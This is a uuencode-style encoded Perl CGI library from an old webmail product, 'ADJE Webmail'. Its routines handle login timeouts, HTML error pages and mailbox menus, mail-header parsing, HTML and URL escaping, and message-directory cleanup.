=<W5B('=R:71E7VUE<W-A9V5S7W1O7V1I<VL@>PH`
<;7D@*"1M<V=F:6QE+"1M<V=R968I(#T@0%\["@``
*;&]C86P@)%\["@``
5;7D@0&US9W,@/2!`)&US9W)E9CL*
6;W!E;BA&2"PB/B1M<V=F:6QE(BD["@``
.9F]R("A`;7-G<RD@>PH`
1<')I;G0@1D@@(B1?7&XB.PH`
"?0H`
+8VQO<V4H1D@I.PH`
"?0H`
2<W5B(&-H96-K7VQO9VEN('L*
M;7D@*"1L86YG+"1C;VQO<G,L)'5S97)?9&ER;F%M92PD=&EM96]U="D@/2!`
#7SL*
.;7D@)4P])21L86YG.PH`
0;7D@)4,])21C;VQO<G,["@``
D;7D@)&9N86UE(#T@(B1U<V5R7V1I<FYA;64O:7`N='AT(CL*
*;&]C86P@)%\["@``
M;7D@)&QA<W1?;6]D7W-E8R`]("@M32`D9FYA;64I("H@,S8P,"XP("H@,C0N
#,#L*
D;7D@)'1I;65O=71?<V5C<R`]("1T:6UE;W5T("H@-C`N,#L*
M:68@*"`H(2`M92`D9FYA;64I('Q\("@D;&%S=%]M;V1?<V5C(#X@)'1I;65O
-=71?<V5C<RD@*2!["@``
H;7D@)'1I=&QE(#T@)$Q[)T5R<F]R.B!,;V=I;B!%>'!I<F5D)WT["@``
M;7D@)&5R<FUS9R`@(#T@(B1T:6UE;W5T("1,>R=L;V=I;G1I;65O=70G?2([
!"@``
E<')I;G0@(D-O;G1E;G0M='EP93H@=&5X="]H=&UL7&Y<;B(["@``
0<')I;G0\/$A%4D5$3T,["@``
'/&AT;6P^"@``
'/&AE860^"@``
M/$U%5$$@8V]N=&5N=#TB=&5X="]H=&UL.R!C:&%R<V5T/21,>T-(05)3151]
;(B!H='1P+65Q=6EV/4-O;G1E;G0M5'EP93X*
6/'1I=&QE/B1T:71L93PO=&ET;&4^"@``
(/"]H96%D/@H`
M/&)O9'D@8F=C;VQO<CTD0WM"1U]72$E417T@3$E.2STD0WM,24Y+?2!!3$E.
=2STD0WM!3$E.2WT@5DQ)3DL])$-[5DQ)3DM]/@H`
M/'1A8FQE(&-E;&QP861D:6YG/2(T(B!C96QL<W!A8VEN9STB,B(@=VED=&@]
((C$P,"4B/@H`
:/&9O<FT@86-T:6]N/2)I;F1E>"YC9VDB/@H`
%/'1R/@H`
M/'1D(&)G8V]L;W(])$-[0D=?4%524$Q%?3X\:6YP=70@='EP93TB<W5B;6ET
=(B!V86QU93TB)$Q[)TQO9R!);B=](CX\+W1D/@H`
M/'1D(&)G8V]L;W(])$-[0D=?3U)!3D=%?2!W:61T:#TB.3`E(B!A;&EG;CTB
)8V5N=&5R(CX*
M/&9O;G0@9F%C93TB87)I86PL:&5L=F5T:6-A(B!C;VQO<CTD0WM415A47T),
K04-+?2!S:7IE/30^/'-T<F]N9SXD=&ET;&4\+W-T<F]N9SX\+V9O;G0^"@``
&/"]T9#X*
M/'1D(&)G8V]L;W(])$-[0D=?4%524$Q%?3X\:6YP=70@='EP93TB<W5B;6ET
=(B!V86QU93TB)$Q[)TQO9R!);B=](CX\+W1D/@H`
&/"]T<CX*
(/"]F;W)M/@H`
%/'1R/@H`
0/'1D/B9N8G-P.SPO=&0^"@``
0/'1D/B9N8G-P.SPO=&0^"@``
0/'1D/B9N8G-P.SPO=&0^"@``
&/"]T<CX*
%/'1R/@H`
0/'1D/B9N8G-P.SPO=&0^"@``
M/'1D(&%L:6=N/6-E;G1E<CX\9F]N="!F86-E/2)A<FEA;"QH96QV971I8V$B
M(&-O;&]R/21#>U1%6%1?0DQ!0TM]/CQS=')O;F<^)&5R<FUS9SPO<W1R;VYG
./CPO9F]N=#X\+W1D/@H`
0/'1D/B9N8G-P.SPO=&0^"@``
&/"]T<CX*
)/"]T86)L93X*
(/"]F;W)M/@H`
$/'`^"@``
(2$52141/0PH`
F;7D@)&QA<W1A9"`]("9P<FEN=%]A9"@M.3DL(F-E;G1E<B(I.PH`
M)G!R:6YT7V)O='1O;5]L:6YK<R@D=7-E<E]D:7)N86UE+")#3U!94DE'2%1/
/3DQ9(BQ<)4,L7"5,*3L*
0<')I;G0\/$A%4D5$3T,["@``
(/"]B;V1Y/@H`
(/"]H=&UL/@H`
(2$52141/0PH`
)97AI="@P*3L*
"?0H`
5;W!E;BA)1D@L(CPD9FYA;64B*3L*
38VAO;7`H)%\@/2`\249(/BD["@``
,8VQO<V4H249(*3L*
C*"1%3E9[4D5-3U1%7T%$1%)](&YE("1?*2`F)B!E>&ET.PH`
1;7D@)'1I;64@/2!T:6UE.PH`
G*"1F;F%M92`]?B`O7B@N*RDD+RD@)B8@*"1F;F%M92`]("0Q*3L*
J*"UE("1F;F%M92D@)B8@=71I;64H)'1I;64L)'1I;64L)&9N86UE*3L*
7?2`C(&5N9"!O9B!C:&5C:U]L;V=I;@H`
4<W5B(&=E=%]M<V=?9FEL97,@>PH`
0;7D@*"1R96,I(#T@0%\["@``
?;7D@0&9I96QD<R`]('-P;&ET*"]<?"\L)')E8RD["@``
-;7D@*$!F:6QE<RD["@``
99F]R96%C:"`D9FQD("A`9FEE;&1S*2!["@``
::68@*"`D9FQD("%^("]>5D%27"\O("D@>PH`
D*"1D97-C+"1F;F%M92D@/2!S<&QI="@O.B\L)&9L9"PR*3L*
5<'5S:"A`9FEL97,L)&9N86UE*3L*
"?0H`
"?0H`
/<F5T=7)N($!F:6QE<SL*
"?0H`
1<W5B(&=E=%]M<V=P;W,@>PH`
8;7D@*"1M<V=N;RQ`<F5C<RD@/2!`7SL*
.;7D@)&US9W!O<STQ.PH`
);7D@)&D],#L*
L=VAI;&4@*"`H)&D@/"`D;7-G;F\I("8F("@D:2`\/2`D(W)E8W,I("D@>PH`
M*"1R96-S6R1I72`A?B`O7'Q605)<+U-4051%.D1%3$5415Q\+RD@)B8@*"1M
*<V=P;W,K*RD["@``
&)&DK*SL*
"?0H`
0<F5T=7)N("1M<V=P;W,["@``
"?0H`
1<W5B(&=E=%]M<V=T;W0@>PH`
3;7D@*"1M<V=R968I(#T@0%\["@``
5;7D@0&US9W,@/2!`)&US9W)E9CL*
-;7D@)'1O="`](#`["@``
*;&]C86P@)%\["@``
.9F]R("A`;7-G<RD@>PH`
H*"$O7'Q605)<+U-4051%.D1%3$5415Q\+RD@)B8@*"1T;W0K*RD["@``
"?0H`
-<F5T=7)N("1T;W0["@``
"?0H`
9<W5B(&=E=%]M97-S86=E7W-T871E<R!["@``
3;7D@*"1M<V=R968I(#T@0%\["@``
*;&]C86P@)%\["@``
6;7D@*"5H87-H+"1K97DL)'9A;"D["@``
59F]R96%C:"`H0"1M<V=R968I('L*
B)&ME>2`]("9G971?9FEE;&0H7"1?+%PG5D%2+TE$)RD["@``
E)'9A;"`]("9G971?9FEE;&0H7"1?+%PG5D%2+U-4051%)RD["@``
4)&AA<VA[)&ME>7T@/2`D=F%L.PH`
"?0H`
-<F5T=7)N("5H87-H"@``
"?0H`
9<W5B(&=E=%]M97-S86=E7V9N86UE<R!["@``
3;7D@*"1M<V=R968I(#T@0%\["@``
*;&]C86P@)%\["@``
6;7D@*"5H87-H+"1K97DL)'9A;"D["@``
59F]R96%C:"`H0"1M<V=R968I('L*
B)&ME>2`]("9G971?9FEE;&0H7"1?+%PG5D%2+TE$)RD["@``
C)'9A;"`]("9G971?9FEE;&0H7"1?+%PG04Q,+T%,3"<I.PH`
4)&AA<VA[)&ME>7T@/2`D=F%L.PH`
"?0H`
-<F5T=7)N("5H87-H"@``
"?0H`
.<W5B(')E8W9A<G,@>PH`
2;7D@)6AE861E<G,@/2!`7SL*
J;7D@)')E8R`@/2`B5D%2+TE$.B1H96%D97)S>TU%4U-!1T5)1'U\(CL*
=)')E8R`N/2`B5D%2+U-4051%.E5.4D5!1'PB.PH`
J)')E8R`N/2`B5D%2+U-50DI%0U0Z)&AE861E<G-[4U5"2D5#5'U\(CL*
L)')E8R`N/2`B5D%2+T923TU.04U%.B1H96%D97)S>T923TU.04U%?7PB.PH`
M)')E8R`N/2`B5D%2+T923TU#3TU-14Y4.B1H96%D97)S>T923TU#3TU-14Y4
%?7PB.PH`
J)')E8R`N/2`B5D%2+T923TU!1$0Z)&AE861E<G-[1E)/34%$1'U\(CL*
J)')E8R`N/2`B5D%2+U)43TY!344Z)&AE861E<G-[4E1/3D%-17U\(CL*
H)')E8R`N/2`B5D%2+U)43T%$1#HD:&5A9&5R<WM25$]!1$1]?"(["@``
M)')E8R`N/2`B5D%2+U)43T-/34U%3E0Z)&AE861E<G-[4E1/0T]-345.5'U\
#(CL*
D)')E8R`N/2`B5D%2+T1!5$4Z)&AE861E<G-[1$%417U\(CL*
F)')E8R`N/2`B5D%2+T1!64U/.B1H96%D97)S>T1!64U/?7PB.PH`
M)')E8R`N/2`B5D%2+TU%4U-!1T5325I%.B1H96%D97)S>TU%4U-!1T5325I%
%?7PB.PH`
"?0H`
3<W5B(&1A=&5?-%]I;F)O>"!["@``
1;7D@*"1D871E*2`]($!?.PH`
2;7D@*"1D87DL)&UO;G1H*3L*
M*"1D871E(#U^("\H7&1<9#\I("LH6T$M6F$M>ETK*2\I("8F("@D9&%Y(#T@
4)#$I("8F("@D;6]N=&@])#(I.PH`
H*&QE;F=T:"@D9&%Y*2`\(#(I("8F("@D9&%Y(#T@(C`D9&%Y(BD["@``
;)&1A=&4@/2`B)'MM;VYT:'U?)'MD87E](CL*
"?0H`
4<W5B(&9R965?9FEL96YA;64@>PH`
2;7D@*"1F;F%M92D@/2!`7SL*
);7D@)&D],3L*
6=VAI;&4@*"`M92`D9FYA;64@*2!["@``
6)&9N86UE(#U^(',O7&0J)"\D:2\["@``
&*RLD:3L*
"?0H`
/<F5T=7)N("1F;F%M93L*
"?0H`
5<W5B(')E;&%T:79E7VUS9VYO('L*
K;7D@*"1M<V=N;RPD<F5L871I=F5?<&]S:71I;VXL0')E8W,I(#T@0%\["@``
7;7D@)&US9VYO7VEN(#T@)&US9VYO.PH`
D:68@*"`H)"-R96-S(#P@,"D@?'P@*"1M<V=N;R`\(#`I("D*
3>R!R971U<FX@+3$P,#`P.R!]"@``
D:68@*"1R96QA=&EV95]P;W-I=&EO;B!E<2`B3D585"(I('L*
*)&US9VYO*RL["@``
M=VAI;&4@*"@D;7-G;F\@/#T@)"-R96-S*2`F)B`H)')E8W-;)&US9VYO72`]
>?B`O7'Q605)<+U-4051%.D1%3$5415Q\+RDI('L*
*)&US9VYO*RL["@``
"?0H`
8:68@*"1M<V=N;R`\/2`D(W)E8W,I('L*
5)')T;E]M<V=N;R`]("1M<V=N;SL*
)?2!E;'-E('L*
;)')T;E]M<V=N;R`]("(M)&US9VYO7VEN(CL*
"?0H`
"?0H`
D:68@*"1R96QA=&EV95]P;W-I=&EO;B!E<2`B4%)%5B(I('L*
*)&US9VYO+2T["@``
M=VAI;&4@*"@D;7-G;F\@/CT@,"D@)B8@*"1R96-S6R1M<V=N;UT@/7X@+UQ\
95D%27"]35$%413I$14Q%5$5<?"\I*2!["@``
*)&US9VYO+2T["@``
"?0H`
3:68@*"1M<V=N;R`^/2`P*2!["@``
5)')T;E]M<V=N;R`]("1M<V=N;SL*
)?2!E;'-E('L*
;)')T;E]M<V=N;R`]("(M)&US9VYO7VEN(CL*
"?0H`
"?0H`
3<F5T=7)N("1R=&Y?;7-G;F\["@``
"?0H`
8<W5B('!R:6YT7V)A8VM?97)R;7-G('L*
H;7D@*"1L86YG+"1C;VQO<G,L)'1I=&QE+"1E<G)M<V<I(#T@0%\["@``
.;7D@)4P])21L86YG.PH`
0;7D@)4,])21C;VQO<G,["@``
E<')I;G0@(D-O;G1E;G0M='EP93H@=&5X="]H=&UL7&Y<;B(["@``
0<')I;G0\/$A%4D5$3T,["@``
'/&AT;6P^"@``
'/&AE860^"@``
M/$U%5$$@8V]N=&5N=#TB=&5X="]H=&UL.R!C:&%R<V5T/21,>T-(05)3151]
;(B!H='1P+65Q=6EV/4-O;G1E;G0M5'EP93X*
6/'1I=&QE/B1T:71L93PO=&ET;&4^"@``
(/"]H96%D/@H`
M/&)O9'D@8F=C;VQO<CTD0WM"1U]72$E417T@;&EN:STD0WM,24Y+?2!A;&EN
=:STD0WM!3$E.2WT@=FQI;FL])$-[5DQ)3DM]/@H`
M/'1A8FQE(&-E;&QP861D:6YG/2(T(B!C96QL<W!A8VEN9STB,B(@=VED=&@]
((C$P,"4B/@H`
%/'1R/@H`
J/'1D(&)G8V]L;W(])$-[0D=?3U)!3D=%?2!A;&EG;CTB8V5N=&5R(CX*
M/&9O;G0@9F%C93TB87)I86PL:&5L=F5T:6-A(B!C;VQO<CTD0WM415A47T),
/04-+?2!S:7IE/2(T(CX*
8/'-T<F]N9SXD=&ET;&4\+W-T<F]N9SX*
(/"]F;VYT/@H`
&/"]T9#X*
&/"]T<CX*
)/"]T86)L93X*
$/'`^"@``
)/&-E;G1E<CX*
M/&9O;G0@9F%C93TB87)I86PL:&5L=F5T:6-A(B!C;VQO<CTD0WM415A47T),
&04-+?3X*
//&(^)&5R<FUS9SPO8CX*
(/"]F;VYT/@H`
$/'`^"@``
'/&9O<FT^"@``
M/&EN<'5T('1Y<&4](F)U='1O;B(@3VY#;&EC:STB:&ES=&]R>2YB86-K*"DB
5('9A;'5E/2(D3'LG0F%C:R=](CX*
(/"]F;W)M/@H`
*/"]C96YT97(^"@``
(/"]B;V1Y/@H`
(/"]H=&UL/@H`
(2$52141/0PH`
"?0H`
3<W5B('!R:6YT7V5R<FUS9R!["@``
C;7D@*"1L86YG+"1C;VQO<G,L)&-O<'EO;FQY*2`]($!?.PH`
.;7D@)4P])21L86YG.PH`
0;7D@)4,])21C;VQO<G,["@``
E<')I;G0@(D-O;G1E;G0M='EP93H@=&5X="]H=&UL7&Y<;B(["@``
0<')I;G0\/$A%4D5$3T,["@``
'/&AT;6P^"@``
'/&AE860^"@``
M/$U%5$$@8V]N=&5N=#TB=&5X="]H=&UL.R!C:&%R<V5T/21,>T-(05)3151]
;(B!H='1P+65Q=6EV/4-O;G1E;G0M5'EP93X*
K/'1I=&QE/B1,>R=796)M86EL($5R<F]R($UE<W-A9V4G?3PO=&ET;&4^"@``
(/"]H96%D/@H`
M/&)O9'D@8F=C;VQO<CTD0WM"1U]72$E417T@3$E.2STD0WM,24Y+?2!!3$E.
=2STD0WM!3$E.2WT@5DQ)3DL])$-[5DQ)3DM]/@H`
M/'1A8FQE(&-E;&QP861D:6YG/2(T(B!C96QL<W!A8VEN9STB,B(@=VED=&@]
((C$P,"4B/@H`
:/&9O<FT@86-T:6]N/2)I;F1E>"YC9VDB/@H`
%/'1R/@H`
M/'1D(&)G8V]L;W(])$-[0D=?4%524$Q%?3X\:6YP=70@='EP93TB<W5B;6ET
=(B!V86QU93TB)$Q[)TQO9R!);B=](CX\+W1D/@H`
M/'1D(&)G8V]L;W(])$-[0D=?3U)!3D=%?2!W:61T:#TB.3`E(B!A;&EG;CTB
)8V5N=&5R(CX*
M/&9O;G0@9F%C93TB87)I86PL:&5L=F5T:6-A(B!C;VQO<CTD0WM415A47T),
/04-+?2!S:7IE/2(T(CX*
K/'-T<F]N9SXD3'LG17)R;W(Z($QO9VEN($9A:6QE9"=]/"]S=')O;F<^"@``
(/"]F;VYT/@H`
&/"]T9#X*
M/'1D(&)G8V]L;W(])$-[0D=?4%524$Q%?3X\:6YP=70@='EP93TB<W5B;6ET
=(B!V86QU93TB)$Q[)TQO9R!);B=](CX\+W1D/@H`
&/"]T<CX*
%/'1R/@H`
0/'1D/B9N8G-P.SPO=&0^"@``
0/'1D/B9N8G-P.SPO=&0^"@``
0/'1D/B9N8G-P.SPO=&0^"@``
&/"]T<CX*
%/'1R/@H`
0/'1D/B9N8G-P.SPO=&0^"@``
M/'1D(&%L:6=N/6-E;G1E<CX\9F]N="!F86-E/2)A<FEA;"QH96QV971I8V$B
M(&-O;&]R/21#>U1%6%1?0DQ!0TM]/CQS=')O;F<^)$Q[)VQO9VEN97)R;7-G
8)WT\+W-T<F]N9SX\+V9O;G0^/"]T9#X*
0/'1D/B9N8G-P.SPO=&0^"@``
&/"]T<CX*
'/&9O<FT^"@``
)/"]T86)L93X*
(2$52141/0PH`
C;7D@)'1M<"`]("9P<FEN=%]A9"@M.3DL(F-E;G1E<B(I.PH`
0<')I;G0\/$A%4D5$3T,["@``
(/"]B;V1Y/@H`
(/"]H=&UL/@H`
(2$52141/0PH`
G?2`C(&5N9"!O9B!P<FEN=%]E<G)M<V<@<W5B<F]U;G1I;F4N+BX*
5<W5B('!R:6YT7W1O<%]M96YU('L*
M;7D@*"1T:71L92PD=7-E<E]D:7)N86UE+"1L86YG+"1C;VQO<G,I(#T@0%\[
!"@``
.;7D@)4P])21L86YG.PH`
0;7D@)4,])21C;VQO<G,["@``
L*&UY("1U<V5R;F%M92`]("1U<V5R7V1I<FYA;64I(#U^(',O+BI<+R\O.PH`
M;7D@)&EN/2(\;W!T:6]N('9A;'5E/5PB<&]P;7-G<UPB/B1,>R=);F-O;6EN
/9R!-97-S86=E<R=](CL*
M;7D@)&]U=#TB/&]P=&EO;B!V86QU93U<(G-E;G1M<V=S7"(^)$Q[)U-A=F5D
7($]U=&=O:6YG($UE<W-A9V5S)WTB.PH`
M:68@*"UF("(D=7-E<E]D:7)N86UE+T%$2D5314Y41D],1$5204-4259%+G1X
&="(I('L*
7)&QI;F4Q(#T@(B1O=70D=&ET;&4B.PH`
.)&QI;F4R(#T@)&EN.PH`
)?2!E;'-E('L*
6)&QI;F4Q(#T@(B1I;B1T:71L92(["@``
/)&QI;F4R(#T@)&]U=#L*
"?0H`
0<')I;G0\/$A%4D5$3T,["@``
?/'-C<FEP="!L86YG=6%G93TB:F%V87-C<FEP="(^"@``
%/"$M+0H`
:9G5N8W1I;VX@8VAA;F=E9F]L9&5R*"D@>PH`
M=F%R(&EN9&5X/61O8W5M96YT+F9O;&1E<G-E;&5C="YT;V)O>"YS96QE8W1E
'9$EN9&5X"@``
M=F%R('9A;"`](&1O8W5M96YT+F9O;&1E<G-E;&5C="YT;V)O>"YO<'1I;VYS
.6VEN9&5X72YV86QU90H`
B9&]C=6UE;G0N;6%I;&)O>"Y&3TQ$15(N=F%L=64]=F%L"@``
:9&]C=6UE;G0N;6%I;&)O>"YS=6)M:70H*0H`
"?0H`
&+R\M+3X*
*/"]S8W)I<'0^"@``
M/'1A8FQE(&-E;&QP861D:6YG/2(T(B!C96QL<W!A8VEN9STB,B(@=VED=&@]
((C$P,"4B/@H`
%/'1R/@H`
M/&9O<FT@;F%M93TB;6%I;&)O>"(@;65T:&]D/2)03U-4(B!A8W1I;VX](FEN
*8F]X+F-G:2(^"@``
J/'1D(&%L:6=N/2)C96YT97(B(&)G8V]L;W(])$-[0D=?4%524$Q%?3X*
M/&EN<'5T('1Y<&4](G-U8FUI="(@=F%L=64](B1,>R=-86EL($)O>"=](CX*
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB55-%4DY!344B("`@=F%L=64]
-(B1U<V5R;F%M92(^"@``
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB1D],1$52(B!V86QU93TB;F]C
(:&%N9V4B/@H`
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB04-424].(B!V86QU93TB;6%I
';&)O>"(^"@``
&/"]T9#X*
(/"]F;W)M/@H`
J/&9O<FT@;65T:&]D/2)03U-4(B!A8W1I;VX](F-O;7!O<V4N8V=I(CX*
J/'1D(&%L:6=N/2)C96YT97(B(&)G8V]L;W(])$-[0D=?4%524$Q%?3X*
L/&EN<'5T('1Y<&4](G-U8FUI="(@=F%L=64](B1,>R=#;VUP;W-E)WTB/@H`
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB55-%4DY!344B("`@=F%L=64]
-(B1U<V5R;F%M92(^"@``
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB04-424].(B`@("`@=F%L=64]
/(DYE=R!-97-S86=E(CX*
&/"]T9#X*
(/"]F;W)M/@H`
M/&9O<FT@;65T:&]D/2)03U-4(B!A8W1I;VX](F5D:71A9&1B;V]K+F-G:2(^
!"@``
J/'1D(&%L:6=N/2)C96YT97(B(&)G8V]L;W(])$-[0D=?4%524$Q%?3X*
M/&EN<'5T('1Y<&4](G-U8FUI="(@=F%L=64](B1,>R=!9&1R97-S97,G?2(^
!"@``
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB55-%4DY!344B("`@=F%L=64]
-(B1U<V5R;F%M92(^"@``
&/"]T9#X*
(/"]F;W)M/@H`
;/&9O<FT@;F%M93TB9F]L9&5R<V5L96-T(CX*
M/'1D('=I9'1H/2(Y-24B(&)G8V]L;W(])$-[0D=?3U)!3D=%?2!A;&EG;CTB
)8V5N=&5R(CX*
M/'-E;&5C="!N86UE/2)T;V)O>"(@;VYC:&%N9V4](F-H86YG969O;&1E<B@I
#(CX*
')&QI;F4Q"@``
')&QI;F4R"@``
*/"]S96QE8W0^"@``
&/"]T9#X*
(/"]F;W)M/@H`
I/&9O<FT@;65T:&]D/2)03U-4(B!A8W1I;VX](FQO9V]U="YC9VDB/@H`
J/'1D(&%L:6=N/2)C96YT97(B(&)G8V]L;W(])$-[0D=?4%524$Q%?3X*
L/&EN<'5T('1Y<&4](G-U8FUI="(@=F%L=64](B1,>R=,;V<@3W5T)WTB/@H`
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB55-%4DY!344B("`@=F%L=64]
-(B1U<V5R;F%M92(^"@``
&/"]T9#X*
(/"]F;W)M/@H`
&/"]T<CX*
)/"]T86)L93X*
(2$52141/0PH`
"?0H`
4<W5B('5N97-C87!E7VAT;6P@>PH`
6;7DH)'1O=6YE;F-O9&4I(#T@0%\["@``
:)'1O=6YE;F-O9&4]?G,O)F%M<#LO)B]G.PH`
<)'1O=6YE;F-O9&4]?G,O)G%U;W0[+UPB+V<["@``
9)'1O=6YE;F-O9&4]?G,O)F=T.R\^+V<["@``
9)'1O=6YE;F-O9&4]?G,O)FQT.R\\+V<["@``
4<F5T=7)N("1T;W5N96YC;V1E.PH`
"?0H`
2<W5B(&5S8V%P95]H=&UL('L*
4;7DH)'1O96YC;V1E*2`]($!?.PH`
?(61E9FEN960H)'1O96YC;V1E*2`F)B!R971U<FX["@``
8)'1O96YC;V1E/7YS+R8O)F%M<#LO9SL*
:)'1O96YC;V1E/7YS+UPB+R9Q=6]T.R]G.PH`
7)'1O96YC;V1E/7YS+SXO)F=T.R]G.PH`
7)'1O96YC;V1E/7YS+SPO)FQT.R]G.PH`
2<F5T=7)N("1T;V5N8V]D93L*
"?0H`
3<W5B('5N97-C87!E7W5R;"!["@``
4;7DH)'1O9&5C;V1E*2`]($!?.PH`
6)'1O9&5C;V1E(#U^('1R+RLO("\["@``
M)'1O9&5C;V1E(#U^(',O)2A;,"TY82UF02U&77LR?2DO<&%C:R@B8R(L:&5X
**"0Q*2DO9V4["@``
2<F5T=7)N("1T;V1E8V]D93L*
"?0H`
1<W5B(&5S8V%P95]U<FP@>PH`
4;7DH)'1O96YC;V1E*2`]($!?.PH`
<(21T;V5N8V]D92`F)B!R971U<FX@=6YD968["@``
M)'1O96YC;V1E/7YS+RA;7F$M>D$M6C`M.5]<+2Y=*2]U8R!S<')I;G1F*"(E
4)24P,G@B+&]R9"@D,2DI+V5G.PH`
2<F5T=7)N("1T;V5N8V]D93L*
"?0H`
2<W5B(&=E=%]H96%D97)S('L*
5;7D@*$!H96%D;&EN97,I/2!`7SL*
<;7D@)&AE860@/2!-24U%.CI(96%D+3YN97<["@``
=)&AE860M/F5X=')A8W0H7$!H96%D;&EN97,I.PH`
/)&AE860M/G5N9F]L9#L*
/)&AE860M/F1E8V]D93L*
C;7D@)&1A=&4@("`@/2`D:&5A9"T^9V5T*"=$871E.B<I.PH`
A;7D@)&-C("`@("`@/2`D:&5A9"T^9V5T*"=#8SHG*3L*
F;7D@)'-U8FIE8W0@/2`D:&5A9"T^9V5T*"=3=6)J96-T.B<I.PH`
A;7D@)'1O("`@("`@/2`D:&5A9"T^9V5T*"=4;SHG*3L*
C;7D@)&9R;VT@("`@/2`D:&5A9"T^9V5T*"=&<F]M.B<I.PH`
G;7D@)')E<&QY=&\@/2`D:&5A9"T^9V5T*"=297!L>2U4;SHG*3L*
6(21D871E("8F("@D9&%T93TG)RD["@``
2(21C8R`F)B`H)&-C/2<G*3L*
<(21S=6)J96-T("8F("@D<W5B:F5C=#TG)RD["@``
2(21T;R`F)B`H)'1O/2<G*3L*
6(21F<F]M("8F("@D9G)O;3TG)RD["@``
<(21R97!L>71O("8F("@D<F5P;'ET;STG)RD["@``
0;7D@)6AE861E<G,@/2`H"@``
74U5"2D5#5"`@(#T^("1S=6)J96-T+`H`
25$\@("`@("`@(#T^("1T;RP*
41E)/32`@("`@(#T^("1F<F]M+`H`
74D503%E43R`@(#T^("1R97!L>71O+`H`
20T,@("`@("`@(#T^("1C8RP*
41$%412`@("`@(#T^("1D871E+`H`
#*3L*
@9F]R96%C:"`D:V5Y("AK97ES*"5H96%D97)S*2D@>PH`
B(61E9FEN960H)&AE861E<G-[)&ME>7TI("8F(&YE>'0["@``
;)&AE861E<G-[)&ME>7T@/7X@<R]>("LO+SL*
=)&AE861E<G-[)&ME>7T@/7X@<R]<<C]<;B\O.PH`
;)&AE861E<G-[)&ME>7T@/7X@<R\@*R0O+SL*
"?0H`
D;7D@*"1N86UE+"1A9&0L)&-O;6TI(#T@*"<G+"<G+"<G*3L*
M*"1N86UE+"1A9&0L)&-O;6TI(#T@)G!A<G-E7V5M86EL7V%D9')E<W,H)&AE
.861E<G-[1E)/37TI.PH`
>)&AE861E<G-[1E)/34%$1'T@("`@(#T@)&%D9#L*
?)&AE861E<G-[1E)/34Y!345]("`@(#T@)&YA;64["@``
?)&AE861E<G-[1E)/34-/34U%3E1](#T@)&-O;6T["@``
A*"1N86UE+"1A9&0L)&-O;6TI(#T@*"<G+"<G+"<G*3L*
M*"1N86UE+"1A9&0L)&-O;6TI(#T@)G!A<G-E7V5M86EL7V%D9')E<W,H)&AE
1861E<G-[4D503%E43WTI.PH`
=)&AE861E<G-[4E1/041$?2`@("`@/2`D861D.PH`
>)&AE861E<G-[4E1/3D%-17T@("`@/2`D;F%M93L*
>)&AE861E<G-[4E1/0T]-345.5'T@/2`D8V]M;3L*
M)&AE861E<G-[1$%934]]("`@("`@(#T@)F1A=&5?-%]I;F)O>"@D:&5A9&5R
*<WM$051%?2D["@``
1<F5T=7)N("5H96%D97)S.PH`
B?2`C(&5N9"!S=6)R;W5T:6YE(&=E=%]H96%D97)S+BXN"@``
9<W5B('!R:6YT7V)O='1O;5]L:6YK<R!["@``
M;7D@*"1U<V5R7V1I<FYA;64L)&-O<'EO;FQY+"1C;VQO<G,L)&QA;F<I(#T@
$0%\["@``
0;7D@)4,])21C;VQO<G,["@``
.;7D@)4P])21L86YG.PH`
3;7D@)5`])F=E=%]P87)A;7,["@``
M<')I;G0@(CQF;VYT(&9A8V4]7")A<FEA;"QH96QV971I8V%<(B!C;VQO<CTD
30WM415A47T),04-+?3Y<;B(["@``
4:68@*"9I<U]L:6-E;G-E9"D@>PH`
0<')I;G0\/$A%4D5$3T,["@``
./&9O;G0@<VEZ93TQ/@H`
$/'`^"@``
M041*12!796)M86EL(%9E<G-I;VX@)%![5D524TE/3GT@)F-O<'D[(#$Y.3@L
M,3DY.2PR,#`P(#QA(&AR968](FAT='`Z+R]W=W<N861J97=E8BYC;VTB/D%$
M2D4L($Q,0SPO83XN($%L;"!2:6=H=',@4F5S97)V960N(#QB/D1)4T-,04E-
M15(Z/"]B/B!5<V4@=&AI<R!S;V9T=V%R92!A;F0@=&AE(&%S<V]C:6%T960@
<=V5B('!A9V5S(&%T('EO=7(@;W=N(')I<VLN"@``
(/"]F;VYT/@H`
(2$52141/0PH`
)?2!E;'-E('L*
0<')I;G0\/$A%4D5$3T,["@``
(/'-M86QL/@H`
$/'`^"@``
M041*12!796)M86EL(%9E<G-I;VX@)%![5D524TE/3GT@)F-O<'D[(#$Y.3@L
M,3DY.2PR,#`P($%$2D4L($Q,0R`H5&AE($5D9V4I+B!!;&P@4FEG:'1S(%)E
M<V5R=F5D+B`\8CY$25-#3$%)3452.CPO8CX@57-E('1H:7,@<V]F='=A<F4@
M86YD('1H92!A<W-O8VEA=&5D('=E8B!P86=E<R!A="!Y;W5R(&]W;B!R:7-K
M+B`@66]U(&UA>2!D;W=N;&]A9"!T:&4@<&5R;"!C9VD@<V-R:7!T<R!T:&%T
0(&=E;F5R871E('1H97-E"@``
M<&%G97,@/&(^1E)%13PO8CX@9G)O;2!O=7(@:&]M92!P86=E(&%T(#QB/CQA
M(&AR968](FAT='`Z+R]W=W<N861J97=E8BYC;VTB/FAT='`Z+R]W=W<N861J
197=E8BYC;VT\+V$^/"]B/@H`
)/"]S;6%L;#X*
(/"]F;VYT/@H`
(2$52141/0PH`
"?0H`
"?0H`
0<W5B(')M7VUS9V1I<B!["@``
0;7D@*"1D:7(I(#T@0%\["@``
*;&]C86P@)%\["@``
.;7D@)&9P871H/2<G.PH`
4;W!E;F1I<B@D9&ER+"1D:7(I.PH`
C=VAI;&4H9&5F:6YE9"@D7SUR96%D9&ER*"1D:7(I*2D@>PH`
5+R@N*BDO("8F("@D7R`]("0Q*3L*
1+UY<+BLD+R`F)B!N97AT.PH`
4)&9P871H(#T@(B1D:7(O)%\B.PH`
1:68@*"UD("1F<&%T:"D@>PH`
4)G)M7VUS9V1I<B@D9G!A=&@I.PH`
)?2!E;'-E('L*
/=6YL:6YK("1F<&%T:#L*
"?0H`
"?0H`
7+60@)&1I<B`F)B!R;61I<B`D9&ER.PH`
(<F5T=7)N.PH`
"?0H`
